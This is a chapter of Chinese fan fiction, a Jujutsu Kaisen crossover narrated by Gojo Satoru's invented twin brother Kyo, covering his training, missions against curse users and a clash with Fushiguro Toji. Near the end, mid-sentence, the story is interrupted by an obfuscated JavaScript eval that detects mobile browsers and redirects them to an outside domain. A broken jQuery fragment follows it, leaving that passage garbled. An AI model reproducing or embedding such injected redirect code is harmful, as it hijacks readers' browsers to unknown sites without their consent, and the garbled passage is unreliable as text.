《【综主蓝锁】为我哥去死后我跑去踢足球了》 1. 序 在日本,有一位如魔鬼般笼罩在咒术界乃至人类社会之上,名为两面宿傩的诅咒之王。 哪怕千年前便已身死,他留下的手指依旧作为特级咒物在日本境内各处滋养着无数强大的咒灵。 咒术界的「御三家」,底蕴雄厚的三大咒术家族,把控咒术界大量的资源,彼此间维持着微妙的平衡。 人类社会与咒术界、诅咒与咒术界、咒术界与咒术师,就以这样微妙的秩序保持着发展的稳定。 直到神子「五条悟」的降世。 我相信,在百年后,会有咒术师踏入布满灰尘的图书馆,阳光会如同神启一般照在那一本特别的书上;那个咒术师会屏息凝神走上前去,踏着梯子取下那本书,擦干净上面的尘土,将过往的辉煌故事一并擦亮;然后书名会映入那个人的眼帘:《咒术师五条悟传》,年轻的孩子会被那个在后世如雷贯耳的名字吸引,会花一整个下午在宁静的阅览厅角落读完那本书,会透过每一行文字回顾完名为五条悟的人如「神话」的人生。 1989年12月7日,五条悟出生,继承「六眼」与「无下限术式」。 2005年,五条悟离开家族,进入「东京都立咒术高等专门学校」进行学习。 2006年,五条悟解决「星浆体事件」,同年开始咒术界革命。 2009年12月25日,五条悟与同期夏油杰于涩谷遭遇神秘咒灵「羂索」,咒术界从羂索之口得到情报:「诅咒之王两面宿傩即将复苏」。 2012年10月31日,预告成真,沉睡千年的诅咒之王被神秘魔术师复苏,同时大量咒灵在日本境内各地引发灾害。对此,咒术界派出以五条悟与夏油杰为主的大量咒术师与神秘魔术师及复活的两面宿傩进行决战。这场战争持续了七天,并最终在五条悟的领导下由咒术界取得了最终的胜利。史称「七日决战」。* 由于「反转术式」家入硝子的存在,咒术界以极小的伤亡取得了颇丰的战果:两面宿傩战败、神秘魔术师死亡、羂索死亡、日本境内咒灵被祓除7/10。 「七日决战」的胜利,象征着咒术界的局势彻底从多方制衡的混沌时代走向了由最强的五条悟一人执掌世界的时代。 但「我」并不是「五条悟」。 而真实的五条悟的人生也并不像正史里记录的那样。 不不,我并不是要否认五条悟此人凭力量创下的功绩。 我只是在想,如果我告诉你:那位传奇的五条悟有一位未被录入正史的兄弟呢? 在那个冬夜,我记得,五条家大宅日式古老的窗棂外正飘落白雪,褐色的昂贵木料被衬得古朴华贵。风吹过,低吟如雪女引诱旅人的歌谣,仆从劳碌内外奔忙。长廊里尽数回响着族人们的木屐踏过地板时那让人烦躁的声音。再远一些的地方,烛光照耀,雪月通明,隶属于五条家的咒术师同袭来的咒灵与诅咒师厮杀,漆黑与鲜红的血如翼般交织在一起,泼入白纸般的雪地,泼向墨染般的松枝。其奢靡残忍,直叫人恨不得将看见这一幕的双眼生生剜去。 在五条宅的中央,那灯火、童谣和低语所在之地,女人额带汗水,从濡湿的被褥内起身。产婆和女仆拥上前来,直问夫人有何需要没有。女人有一头漂亮的银发,既似今日之落雪,又如昨夜之刀光。她只要求她们将孩子带来给她看看。那位女人的强势是如此独特又明显,只因为她的一句话便引起产房内的兵荒马乱。她接过那一对包裹在襁褓里的孩子,是一对双子。都有着与她如出一辙的美丽银发,以及一对苍蓝的明丽瞳孔。女人擦去那两个孩子眼角的泪珠,她的眼眸在烛火里闪耀,衬得那缺乏血色的皮肤愈加透亮。 “是一对双子。”那女人说。 “是啊,夫人,是一对双子。”产婆和女仆们说,如学舌的鹦鹉一般。但很快她们就展示出她们在五条宅蕴养出的残忍的一面,“夫人啊,夫人,双子是不祥之兆,我们快点把其中一个孩子抛掉吧。” “不。”那女人平静地说,“我不会那么做的。难道你们看不出来吗?这两个孩子,他们对彼此来说并非诅咒,而是「祝福」啊。” 而后,五条家主走进屋来,是一个身着深青色和服且面目威严的男子。那女人从床铺中站起,将喋喋不休的产婆和女仆抛在一边,与他据理力争。谈到最后,她甚至不惜用作为靠山的家族为自己担保。 无人知晓那日她究竟「看」到了什么。但不可否认,正是由于她对自己孩子的信任与爱,作为双生子的两个人才能够完完整整地活下来。 双子中个头更大、头发坚硬的哥哥被叫做「悟」,个头稍小、头发柔软的弟弟被称为「镜」。 我就是「镜」。 值得一提的是,在「天赋」上,我并没有弱于哥哥悟多少。我们有着相同的「六眼」,但我的术式并不是五条家的「无下限」,而是由母亲所在家族苍崎的魔法使之血与咒术界御三家五条的基因融合后诞生的强大而扭曲的术式。在觉醒后,立刻被父亲独断地命名为「术式破坏·银」。* 顾名思义,也就是有着「破坏术式的术式」这一威力的力量。据母亲说自己有一位远房的姐妹大概会非常喜欢他这种术式,虽然我并不知道她说的是谁就是了。 你去过镜屋吗?在镜屋里,被数不清的镜面包裹,自己的身影重复地叠加在一面面镜子组成的迷宫中。想要冲出这里,可是无谋前进的话,却只会被自己的力量撞得鼻青脸肿。这就是「镜」的威力,也是「我」的战斗方式。 这种特别的战斗方式不仅让我在十六岁后在咒术界取得了一席之地,还让我在十六岁前和悟的对练中将他拖进了我擅长的领域里:肉搏。由于身体素质的差距不大,我和悟之间的练习的胜负在很长时间里都只能依靠运气和花招决定。 “悟,这次如果是我赢,你要想办法给我弄到新的电玩套装。”我活动着脚尖。为了在对练中能自在地活动,我跟悟都换上了现代人类社会给小孩子设计的运动套装。 “那如果是你输,我要仙台那边的毛豆生奶油喜久福。”悟摆好架势,不给我反应的时间,快速冲上前来。我也应战,侧头以最小距离避过朝脸上招呼的拳头,再弯腰躲开半空中横踢过来的一腿。悟带起的旋风在我的脑后持续呼啸,但现在是我的机会。他大开大合的动作留下了一个破绽。作战里敌人可不会跟你讲情面,我近在眼前的电玩套装也不会。 趁着悟落地前来不及收腿的瞬间,我顺着弯腰的姿势直接前扑到他身上,扯着他的腿将他拽进地上的泥坑里。院子里的落叶被我们二人的体重砸飞。昨晚刚下了雨,湿润的地面上,我跟悟原地扭打起来。如果他要给我一肘,那我就勒住他的脖子不放。在不使用术式的情况下,那个年纪我们之间的战斗就是这样。幸运的是,那天的战斗以我的胜利告终。因为没扫干净的落叶粘到了悟的鼻子上,他忍不住打了个喷嚏,而我趁着悟打喷嚏的空隙将他按在地上,手刀架在他的脖子边。 “是我赢了。”我放开悟,在他耳边像只蚊子一样重复道:“悟,电玩套装,悟,电玩套装,悟,电玩套装——” “是是,我知道了!”悟露出很不爽的表情,我很高兴我是为数不多能让那时候的悟露出这种「人类」神情的人。他承诺给我买到我想要的电玩套装,同时抱怨院子里的落叶害他失败。 我说,没关系,毕竟上次我也是因为被扬起的尘土迷住眼睛才被你打败的。 悟说我胡说,并说那次是他为了战胜我特地发明的战术。 我说…… 我什么也没说。毕竟我知道,这是他放不下自己自尊心做出的嘴硬之举。 为了我尚在襁褓的电玩套装,聪明且审时度势的我只笑笑不说话。* 日复一日的对练里,我跟悟的实力都在稳步增长,同时我们也比之前了解彼此了。 因此,在悟说出“我要去高专,镜跟我一起吧”的邀请时,我毫不犹豫就答应了下来。 凭借多年的理解,我大概能猜到我的这位兄弟想看到的「风景」是什么。而正因为我自认为理解他,所以百分之一万会选择留在他身旁,看着他以一如既往势不可挡的架势去取得心中所想的景色。 穿上东京咒高漆黑的校服,在仆人的帮助下擦净领口金属的纽扣。我和悟坐着司机驾驶的汽车,沿着弯曲如蛇的盘山公路,在两侧行行古树的注目下来到了东京咒高的校门前。 当天,我们见到了同期的两位同学。正是日后声名显赫的「咒灵操使」夏油杰,以及「反转术式」家入硝子。 悟和夏油互看不顺眼,摘掉墨镜,召唤咒灵,他们畅快地打了一架。等我弄明白自动售货机的用法,并带着薯片和可乐胜利归来时,他们已经打完了。 “镜,以后杰就是老子的挚友了。”悟的墨镜不知道哪去了,只顶着破皮的脸,抱着杰的肩膀对我说,“喂喂,干脆以后我们一起行动吧,怎样?” “啊。”我承认我惊讶了一秒,第一次将注意力放到了夏油身上,引起我兴趣的是他独特的单边刘海,“好少见,不过,好啊。” 我看了看手里提着的可乐,冲夏油伸出手。碰巧买多了,正好可以拿来当见面礼。 我们默契地在树下乘凉,顺便吃着零食打发时间。趁着悟和夏油在聊天,我悄悄把所有的黄瓜味薯片都吃完了,顺便了解到夏油的生平。 原来他是民间的咒术师,很小的时候就觉醒了术式,拥有的能力是「咒灵操术」。 “夏油为什么会来高专?”我问道,“你看起来脑子很好使,按人类社会的标准,更应该去读私立高中,然后上一等大学吧。” 夏油笑了笑,从我手边的购物袋里拿走一包薯片,拆开。 “因为我目睹了咒灵伤害普通人的过程,我想成为咒术师,守护普通人的生活。” “哈?这是什么破烂理由,比我家里的老头子们写在课本上的话都要死板。” “悟,你这话是什么意思。” “字面意思——怎么,想再打一架吗?” 悟跟夏油又要吵起来了,悟甚至还在在做鬼脸。我看得出来,悟露出这副表情,就是在对那些他瞧不起的家伙做出嘲讽了。 “喔。”我感叹,“原来,「理念」相差如此之大的家伙也能成为挚友吗?” 悟在和夏油吵架的百忙之中抽出空来跟我讲了一句“那不一样”。 我看了一会,觉得无聊后,就一个人跑走找最后一位同学家入硝子了。 我在保健室里见到了她,当时家入正在抽烟,保健室的空气因她变得刺鼻起来。她穿着校服的黑色连身裙,一条腿屈起坐在窗台上,眼神看向窗外。那里只有一片平平无奇的绿荫,因此当我进来时,发出的声响才立刻吸引了她的注意。 见到我进来,家入并没有灭烟。而是看着我,几秒后恍然大悟地叼着烟一敲拳头。 “是同学吧。”她说,“是哪位?” “镜,五条镜。”我先回答她的问题,然后说:“家入,你的「理念」是什么?” 这么想来,我当时的表达应该很模棱两可,但是家入还是听懂了。 她用了两秒进行思考,然后插着兜,从窗台上跳下,清楚地回答我: “当然是,随心所欲,得过且过吧。” 我想了想,“了不起哦。” 家入淡笑,灭了烟,问我说:“问人的第一句话居然是这种问题。为什么?” “不知道。”说完,我犹豫了一下,“想知道,就问了,大概如此。” 家入说:“也了不起。” 很快,我们所有人都被老师夜蛾正道叫去了教室,理由是夜蛾老师需要知道高专训练场那边遭到破坏的场地是怎么回事。 悟跟夏油被投出去了,毋庸置疑。 几天后,我跟悟说:“悟,高专的生活好无聊。” “哈?你想去哪玩?”悟拉下墨镜问我。 “我想——去出任务。”我说,我看到他看向我的眼神里,映照出我注视他的样子,“你难道不想知道我们现在到底有多强吗?” 悟眼神一闪,我就知道他这是觉得我提出了一个好主意。 “走。”悟笑着说。 “好。”我平静地答。 也就是在当天,东京周边游荡的咒灵被我和悟祓除了大半。 入夜,我闭上眼,坐在东京塔塔顶的栏杆上,感受夕阳余晖消逝的最后几分钟里大气的温度。悟就比我嚣张多了,他潇洒地站在栏杆上,任由高空的冷风卷乱他的衣领和头发。平日里东京的喧闹消失不见,取而代之的是犹如古书中高处不胜寒的寂寥。 一只乌鸦飞向山峦。我忽然有了一种感觉,在静默而靛蓝的俗世中睁开眼。 “悟,你知道我在想什么吗?”我问他。 悟发出了一个表示疑惑的语气音。 “我总觉得,我有一种使命。”我的声音搁浅在渐次被黑暗吞没的世界里,但我也确信悟一定能听到,“就是辅佐你成为最强。” “不用任何人辅佐我也能成为最强。”悟不满地对我说。我能从其中察觉到他身为天才的傲慢,那东西我也有;但我还感觉到一个仅仅悟才有,而我并不在乎的东西,那就是对我的关心。 “唔。”我顿了顿,“刚刚、我说了奇怪的话。悟,你不要放在心上。” 悟扫了我一眼,那一眼中不带有什么感情。但我立马明白,他看出了我在想什么。 我忽然想起,在我幼时,我的耳边带着温柔语调响起的我的母亲苍崎优子讲给我的那些故事。母亲似乎很崇拜自己的姐妹,故事的主人公总是她那位不同寻常的家人。她跟我讲「魔术师」的存在,跟我讲我的出生对于魔术界与咒术界而言是怎样「奇迹(魔法)」的存在。我看着她那双总是缺乏焦距的眼睛,询问我在出生那天感知到的画面是真是假。她含笑称是,抚摸我的额头。我又问,那么那天她到底「看」到了什么。这次她依然没有隐瞒,大方地回答我:她凭借苍崎的力量,看到了「我(镜)」的未来。 “这样。”我若有所思地点头,再抬起,“在妈妈看到的未来里,镜是个好人吗?” 她对我说:“镜,是比好人或坏人更特殊的存在。” 我摸了摸自己的眼睛。这双「六眼」在她的话语下微微灼烫,仿佛在呼应什么。 “那,为什么?”我问。 她说:“因为你会成为「协助」悟,改变咒术师命运、打破咒术界格局的人。” 那是极少数我没有跟悟共享的经历,也是我和她的秘密;同时也在她离世后,自然而然成了我一个人保守的机密。 悟应该没有可能猜到才对,但我偏偏有一种错觉。悟,或许就在刚才,因为我说的话而意识到了什么东西。 “嗯。悟。”我搭话道,“你要去吃点心吗?” 由于魔法使血脉带来的影响,我并不会因为「六眼」而感到负担,所以也对甜食没什么特殊偏好。悟一定会知道这是我的「求饶信」的。 “趁着今天还没过完,再到处逛逛吧。” “不要。”悟抗拒地说,“下去吧,我不想去吃点心。” 我只好答应。同时对悟表达感情的方式有些烦恼。 新一年夏天,完成了一年学业的我们成功升学到了高专二年级。为表庆祝,我向所有人演示了如何使用自动售货机。不过,明明是在我看来很了不得的技能,包括我觉得最能接受新事物的家入在内都在憋笑。我不明白他们在笑什么,但我觉得很不爽。所以那天的黄瓜味薯片由我决定全部归我。 又是几天后,我被夜蛾老师命令跟其它三位同期去接应失联的京都咒高学生。 “呜哇,大手笔。”我感慨,同时掰着手指清点我们这边的实力,“三位「特级」、一位「反转术式」,这是要和京都开战吗?” “不要胡说,镜。”夜蛾老师训斥我开的玩笑,明明我觉得还挺好笑的。 刚刚又因为打架斗殴破坏公物,导致被按在地上下跪道歉的悟拿手肘捅我。 “夜蛾老师又要开始教训人了。”悟说完甚至对我吐了下舌头。 “五条!” “是是——真的对不起夜蛾老师——” 夜蛾老师的墨镜好像要裂开了。我盯着他鼻梁上的镜片,得出了这个结论。 我们四个人被赶出了东京咒高,发配到了赶往事发地点的车上。顺便从开车的辅助监督那里了解到了失联的两位京都咒高同学的名字。 是庵和冥冥。 “那就没问题了。”我下定论,“她们二位不会轻易死掉,既然如此,只要让悟走过去对着咒灵开一次「苍」问题就解决了。” 悟从前排翻过来盯着我,抱怨道:“不要命令我啊,镜。” “不必在意,悟。”我分明看到夏油的嘴角克制着笑意,“我会让咒灵和你一起。” 家入拿出了烟。“嗯嗯。既然如此,我就可以在一旁歇着了吧?” 到达现场。30秒判断情况,剩下5秒解决问题。这就是悟解决任务的最佳节奏。 术式——「苍」。 苍蓝的咒力在庵和冥冥失联处的洋馆前院内一闪而过,重力颠倒,暴起的气浪摧毁了庭院内目之所及的一切,自然也包括寄宿在洋馆上的咒灵。 呜哇,是灰头土脸的庵和冥冥,庵在指着悟很生气地斥责。 我最近也有点能理解了。像庵那样认真努力的人和悟相性应该很差,毕竟悟在世俗眼中唯一不完美的地方就是他的个性。 就在那时,我接到了电话。 是夜蛾老师打来的。 我走到一旁接通电话,庵和冥冥与悟他们交流的场景变成了背景画面,“莫西莫西,夜蛾老师。” “镜,有一个任务,需要你去完成。” “唔。我?不是悟,也不是夏油?”我沉吟了一秒,了悟道:“是「那种活」吧。” “没错。你总是猜对得那么快。”夜蛾老师说。 “很好猜。”我说,“因为我的「术式」,比起说是祓除诅咒的「火炮」,更像是对付诅咒师的「刀枪」,这算是业界共识?” 没错。夜蛾老师单独交给我,指名需要我去完成的任务,正是去对付诅咒师们。 而我,不客气地说,我的「术式破坏·银」就是从血脉上天克他们的最强武器。 我想了解更多情况:“目标是谁?” “很多。”夜蛾老师说,“实际上,这次的任务和「天元大人」有关。” 我体贴地回答:“所以不能在电话里说。我明白了,那之后夜蛾老师再告诉我吧。” 我挂断电话。和同期回到咒高,悟和杰又打了一架,我和家入已见怪不怪。但我注意到这一次夜蛾老师留下他们的时间似乎格外长。 想到白天的电话,我稍微有点在意,所以留了心。当天夜里,我没有睡觉,而是去夜蛾老师的宿舍敲门。果然,夜蛾老师正在里面等我。 “夜蛾老师。”我走进屋里,站在一大堆玩偶间,对夜蛾老师微微鞠躬。 “镜,关于白天的事,我现在要告诉你具体情况,而这一切都是为了能让你在执行任务后完好地回来。”夜蛾老师说,他的影子在昏暗的烛火下变得巨大,鬼影般照在墙上。 “是。我会仔细听清。”我回答,跪坐在面前的软垫上。 原来是新的「星浆体」——用以天元大人维持其「人性」的活祭品——到了进行融合的时候。 “会有很多人盯上。”我起身,“明白了,我会按照名单,把所有有威胁的人都杀掉。” 那之后,我请了长假,并且任性地不去接通悟以及任何人的来电。好处就是,我能专心地把自己投身于任务。 踩着又一位不自量力刺杀星浆体的诅咒师的脑袋,我举着录音笔,看着那家伙在左.轮枪黑洞洞的枪口下把一切吐露而出。我送他一发子弹,以绝后患。目前为止,在我的术式之下还能有反抗之力的人是无。 我拖着诅咒师的尸体往小巷里走。这时候不免想念起夏油的咒灵们在处理现场上的高效。我蹲在角落,扳着手指细数最近到底完成了多少个任务,以及我完成的这些任务能让身处东京的星浆体安全多少。 但我还没有数清,身后忽然传来脚步。 我站起来,看着巷口。 “五条小少爷?又被打发出来做脏活了,真可怜呐。” 来人是个体型高大健硕的成年男子,他的视线落在我身上穿着的灰色连帽衫上。总觉得他的语气是在嗤笑我,我不太高兴。 “你是?”我按捺着脾气问他,指尖拨动着扳机。 那男人走到我跟前,在他身影的笼罩下我看清了他嘴角的伤疤。 “伏黑,甚尔。”他慢吞吞地,像是教小孩一样教我他的名字,“记住了?” “嗯。”我不太想理他,但觉得不理他又不行,“那伏黑,你是谁?找我有什么事?” “这个嘛,我嘛,”伏黑甚尔烦躁地抓着自己的头发,良久,冲我露出一个涌动着恶意的微笑,“应该是诅咒师吧,小少爷。” 我的回应是一枚直冲面门的子弹。这只是见面礼,灌注我的咒力的子弹能够无视术式的防御对敌人造成伤害。也就是说,不管这家伙作为诅咒师有多强,面对这枚子弹也只能和柔软无力的普通人一样罢了。 “嚯,真没礼貌。”伏黑甚尔仅是一拳就打开了子弹。 “唔?!” “别这样,我只是想跟你聊聊嘛。”伏黑甚尔带着让我感到紧张的危险气息走近我,“不知道你最近过得怎么样?和你哥哥,那个大少爷闹什么矛盾没有?” 我收起武器,并非源于信任,只是事已至此枪支甚至还不如拳脚。 我问:“你期待我们闹矛盾?” 伏黑甚尔大笑:“难道你敢说不会?” 我没说话。我从伏黑甚尔的态度里感受到微妙的东西,那是一种对我——不,准确来说是对他想象中的我的同情,还有对悟的嫉妒跟仇恨。 我的判断不会有错。可是,悟的存在虽然注定招致很多的敌意,但是少有嫉妒跟仇恨这种指向个人的情感。我觉得归根到底是悟没有把太多注意投注在别人身上的缘故。 “伏黑讨厌悟?”我好奇这一点,所以问道。 这也许就是他想表达的,在我说完这句话后从善如流地打开了话匣。 “那种家伙是个人就会讨厌吧。算了,是我这样的人会讨厌的类型。” 我不认可这点,差点反驳出口了。我给自己捏了把汗,在心里评估如果刚才那些辩驳说出去的话,我被伏黑甚尔杀掉的可能性是多少。总之,很高。 “你找我是为了跟我说悟的不好?”如果真是这样,伏黑甚尔可是个很无聊的男人。 “当然——是来跟你谈生意的。”伏黑甚尔从全身上下的口袋里摸出钱夹,紧接着用那种圆滑的眼光打量我,“谁会跟钱过不去,是不是,小少爷。” 我知道他说的生意一定不是指前,至少他想拿来收买我的不会是钱。 “你说,你想要什么?”我问。 伏黑甚尔说,在「星浆体」这件事上我最近的大动作让不少诅咒师跑了路。 “那和你有什么关系?”我有些不快。 “当然有关。如果没了那些炮灰消耗五条悟的实力,像我这样的人要怎么抓住机会?”伏黑甚尔笑着解释,他捂着嘴咳了两声,带出一阵烟味。 “你在我面前想算计悟的办法。”从那刻起我开始盘算要怎么把眼前这个人干掉。 “呵呵,只是打算嘛,打算。”伏黑甚尔漫不经心地摆摆手。 镜,你不可以被挑衅到。我在心里劝说自己;眼前这个家伙很危险,而他又似乎有着算计悟的打算。无论如何,都要想办法知道他的计划,必须要想办法保证悟那边的任务和悟自己的安全万无一失。 “所以,你想怎样?”我说,“事先说好,你没办法收买我,你有的东西我都不想要。” “我没想收买你啊,小少爷。” 忽然间,我感到胸口一阵刺痛。低头看去,深红的阴影濡湿了那件连帽衫。 “你那把武器……”伏黑甚尔还在把那造型奇特的刀具往我身体里捅,我抓住理智飘散前最后的一点时间问。 “哦,这个啊。叫「天逆鉾」,是很了不起的武器吧。”我看到伏黑甚尔的笑容在他脸上扩大,眼神略带怜悯,“小少爷,我真可怜你,死在和你的术式类似的攻击方式下。” 我没有说话。 尽管弄明白了伏黑甚尔先前怜悯的真正含义我也没办法开心。毕竟就像他说的,我就要死了,而死人是没必要开心的。 “你恨我吗?” 我问他,也许是死前激发的生物潜能,我好像瞬间看见了很多「不存在的东西」。 “作为追随者的「镜」没有像你想的那样憎恨作为领导者的「悟」,所以憎恨我吗?” 伏黑甚尔将天逆鉾拔出,“我真讨厌你们这些大放厥词的小鬼。” 我将天逆鉾的刀锋一把握住,制止了伏黑甚尔的动作。 “你不会放弃杀掉悟。所以没有和你谈判的价值。”我借他的力站起来,“同样,如果我能在这里杀掉你,另一边悟和夏油还有星浆体就不会遇到任何超出预想的威胁。” 我看着他。 我看到他的眼底蔓上惊讶。 “伏黑,你为什么觉得有彼此作为竞争对手的我们会仅仅只是在「变强」?”我对他咧开嘴角,那个笑容应该相当恶劣,“悟会是有史以来最强的咒术师,而我是有史以来最强咒术师的兄弟。你的想象力跟不上我们的进步速度。会被致命伤杀死?你的情报,好像出错了。” 「反转术式」。是一年前悟先掌握,而我则很快受到影响一同学会的战斗方式。 情报占优,最后是我胜利。 但我并没有真的把他杀掉。因为之前那结结实实的一刀,让我看到了一些东西。 “……直到死亡之前没人能知道一个人的作用为何。” 我看着伏在地上的伏黑甚尔,脑袋里忽然蹦出这句话,听起来像是母亲会说的话。 “所以,我想让你再活一段时间——反正你也杀不掉悟。” “五条镜……你、真是五条悟的好狗。” 我对他专横的安排似乎让伏黑甚尔愤怒不已,他嘴角的伤疤都因此变得狰狞了。 我看向此时的天空,两侧的墙壁似乎向我挤压过来,狭窄的一道天河就这样悬挂在我的头顶上,如神明惺忪的睡眼。 “不是狗。”我说,蹲下身看他,“是家人。伏黑不懂,是因为没有家人吗?” 我看出伏黑甚尔更生气了。 “你有的吧?”我不确定地说。 “以前有。” 伏黑甚尔忽然冷冷地说,“现在死了。” “唔!嗯,抱歉。” 我自知自己问了个没礼貌的问题后打算逃跑,所以打算逃跑。 “还有个小子。”伏黑甚尔在我身后说,那还是他第一次用这么平静的语气说话,“是个禅院,能用「影法术」……如果你感兴趣的话,我可以卖给你。” “伏黑缺钱?” “别废话。你给不给?”伏黑甚尔从地上坐起来,靠到墙壁上。 我把自己的银行卡号和密码告诉了他。我不怕被骗,大不了被骗的话就追杀这家伙到天涯海角好了。 之后几天,传来了悟和夏油顺利完成了星浆体任务的消息。 “不会吧。” 我坐在咖啡厅里,吹着冷空调,喝着可可饮料,为悟和夏油的壮举而惊叹。 “你们真的带星浆体逃跑了?” “嗯。我认为理子妹妹的人生不该因为这种理由被夺走。”是夏油回答我,今天见面起他就一直笑眯眯的,看起来心情很好。 我趴在桌子上,手捂着头。 “听起来好麻烦,但似乎也不是不行。你们想到怎么应付那些高层了吗?” 夏油推开茶杯,只说了一句:“悟去处理了。” 我不禁握紧拳头。在黑暗的房间里,满墙黄色符纸起起伏伏,咒术高层齐聚一堂只为了清算这任性举动。但仅仅,只是悟一个人懒洋洋地站在那里,就可以让这些人偃旗息鼓。毕竟在天元融合失败后,作为特级术士的悟才是保护咒术界的核心力量。凭实力让反对的人无话可说,真帅啊,悟!* 我感到兴奋,接着问夏油:“那,你说的那位理子呢?” 夏油也笑着回答我:“大概在准备度假?毕竟要防止有残党威胁理子妹妹的生命。” 我点点头,想到了一个严肃的问题。 “那夏油,没有天元的强化结界后,弱小咒术师的安全要如何保证?” “其实,我正想跟你说这个问题,镜。” 呼吸一次后,夏油看向了我。 “嗯。”我鼓励他,“你说吧,是什么?” 他低沉着声音,指尖交缠在一起。 “我想,重建咒术界的秩序。希望你跟悟能够跟我一起。” 我看看他,他看着我;我看看桌面,看看地板,看看脚边的水渍。店里刚擦过地。 “会有这个想法也不奇怪。”我说完,就注意到夏油松了口气,“不过契机是什么?” 夏油的神色变得阴沉,但只是一瞬。 “不……没什么,只是恶心的人罢了。” 我坐直,“好吧,其实无所谓,毕竟以咒术界的现状有一万种理由让人想要改变它。” “那么,你答应了?”夏油站起身,隔着桌子微笑着向我伸出手。 我也站起来,握住他的手。 “嗯,我答应。” 在夏油的构想里,重塑咒术界的计划围绕着我们三个人展开,总共分为三步: 第一、将利用咒术使用者身份,向咒术界外的普通人进行诈.骗勒.索的组织清洗掉。 第二、利用悟的影响力,集中起一批脱离咒术界御三家和咒术协会的新生咒术师。 第三、在第一和第二的基础上,靠着三位特级带来的影响力,将聚拢的新生咒术师放在咒术界各层的关键位置上。 我咋舌,“好暴力的计划。” 夏油笑着问我:“不可行吗?” “总觉得你在发泄对什么东西的情绪,但是,”我指出这一点,随后也对夏油露出一个友善的微笑,“既然是悟的挚友的愿望,哪怕不行我也会让它可行。” 夏油绝对被我这番话感动到了,我的观察不会有错。 那个热浪滚动的夏天,是掀起了咒术界革.命浪潮的夏天。 两年之后,我和三位同期在东京咒高毕业。学习人类社会文化多年的我终于明白炫耀自己会使用自动售货机是多么无知的一种做法,所以毕业那年我选择向他们炫耀我会网购外卖。 靠我的智慧,夜蛾老师还有那三个人得以足不出户就吃上了六本木的高档西餐。总觉得在这件事上他们得感谢我。虽然不知道为什么夏油和家入的表情像是在憋笑。搞不明白,有了免费的晚餐还要这样,真是莫名其妙。 “夏油,你的表情让我很烦。”我就是在撒气,“给我切牛排当赔礼道歉。” “是是,拿你没办法。” 夏油乖乖地去切牛排了。 “我说,要去涩谷玩吗?”家入忽然把手机屏幕转向我们,“今天是圣诞节哦,涩谷应该会有很热闹的活动吧。” 我有点心动,因为家族的缘故,我跟悟在小时候都没有过过圣诞节;而在高专的前两年,圣诞节都因为各种各样的意外被囫囵地糊弄过去了,结果我们都只拿到了来自彼此的圣诞礼物。 我决定:“悟,一起去吧。” 悟反问:“哈?为什么。” 因为我就是想去。 虽然感觉这么说悟也会答应我,但最后肯定免不了一番调侃跟嘲笑。 我只好说:“唔。因为这是三年里最后的机会?” “啊——那走吧。” 悟伸了个懒腰,对着我咧嘴一笑。 涩谷的街灯被装饰成了圣诞的样子。翠绿的槲寄生缠绕着红色的装饰灯,白雪皑皑覆盖在行人未曾经过的道路之上。 我仗着有咒力的保护,不肯穿碍事的棉袄。遮挡是因为我想自由自在地感受圣诞。 “我走了。”我郑重地宣告,“一个人。” 到处都是新奇的东西。 到处都是人,拍照的家庭接吻的情侣。 到处都是——奇怪的味道。 我站到一栋大楼的制高点,放空此刻的大脑,仅凭「六眼」带来的感知观察世界。 我「看」到,有一股古老而阴冷的咒力正如蟒蛇般在涩谷的街道中穿行。 “你在找我?”一道声音在我身后响起。 我叹口气,“你们这些人,为什么都喜欢从别人身后出现……” 是一个平平无奇的男人,没有任何记忆点的外貌和穿着,唯独额头有着一道醒目的漆黑缝合线,我从里面觉察到一股让人不安的古老气息。* “你好弱。”我说,“你这么弱,为什么敢一个人见我?” “新咒术界的奠基人,五条家的次子五条镜,战胜「天与暴君」伏黑甚尔的人,”平凡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14988056|161561||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 男人摊开手说,“我的确无法战胜你,所以我只想和你谈谈。” 我问他:“前两条就算了,就当是对我的宣传。但,你是怎么知道我赢过那家伙的?” 平凡男人的笑冰冷而粘腻,他指指自己的眼睛。 “用眼睛看啊,五条镜。” “不想说的话,随便你。”我并不在乎他惹人嫌恶的态度,“——说出你的来历。” “我是谁不重要。重要的是,你们将会面对什么。”平凡男人神神叨叨地说。 “什么?一个说胡话的不速之客?” 平凡男人并不在意我的讽刺。他说:“当然是能碾碎新咒术界秩序的「敌人」。” 我摇头,不认可他的痴人说梦。 “别做梦了,有我们在的新咒术界,是不会被任何敌人碾碎的。” 可他却说: “假如,是「两面宿傩」呢?” 旧咒术界的秩序,曾经就在两面宿傩的威胁下数度分崩离析;而哪怕在他身死的千年以后,他留下的残骸——二十根手指,也在不断滋养着日本境内的诅咒,为脆弱的当代咒术界创下无数灾难和隐患。 “唔。那确实有可能。”我盯着他,“不过那家伙已经死了吧。” “——但他即将复苏。” 当平凡男人说完这句话的刹那,我的踢击已经抵达他的眼前。看着那说着让我讨厌的话的家伙翻滚出去倒在地上,我对手心哈了口气,对着他不再动弹的身体说: “我们会让他再死一次。” 我和同期们汇合,把这里发生的事情原原本本地告诉了他们。 我在咒高的三年青春里最后一次的圣诞节被这个怪人夺走了,我恨他。 但事情还是要做。已经近乎被悟和夏油掌控在手中的咒术界借此机会运转起来。我的那句话并不是狂言,如今的咒术界今非昔比,我相信在悟和夏油的领导下,千年前的诅咒之王也不过是一个半截身子入土的老东西。而新咒术界的规则,就是跟不上时代潮流还要指点江山的老东西就应该回到山里的院子去乖乖养老。 2012年,10月31日,天气:晴。 此前三个月就已经有情报:两面宿傩将在今夜子时复苏。为此我已经追查离奇出现在东京的神秘女人两个月时间,直到预言中的那日才刚刚查到一点东西。 我将一系列照片都在桌子上,给阅读着我带来的魔术界资料的同期们说明:“所以,这个紫袍魔术师并非人类,而是被神秘御主非法召唤出的从者。需要我再解释一遍魔术师、御主和从者的概念吗?……不需要,那我就继续了。” 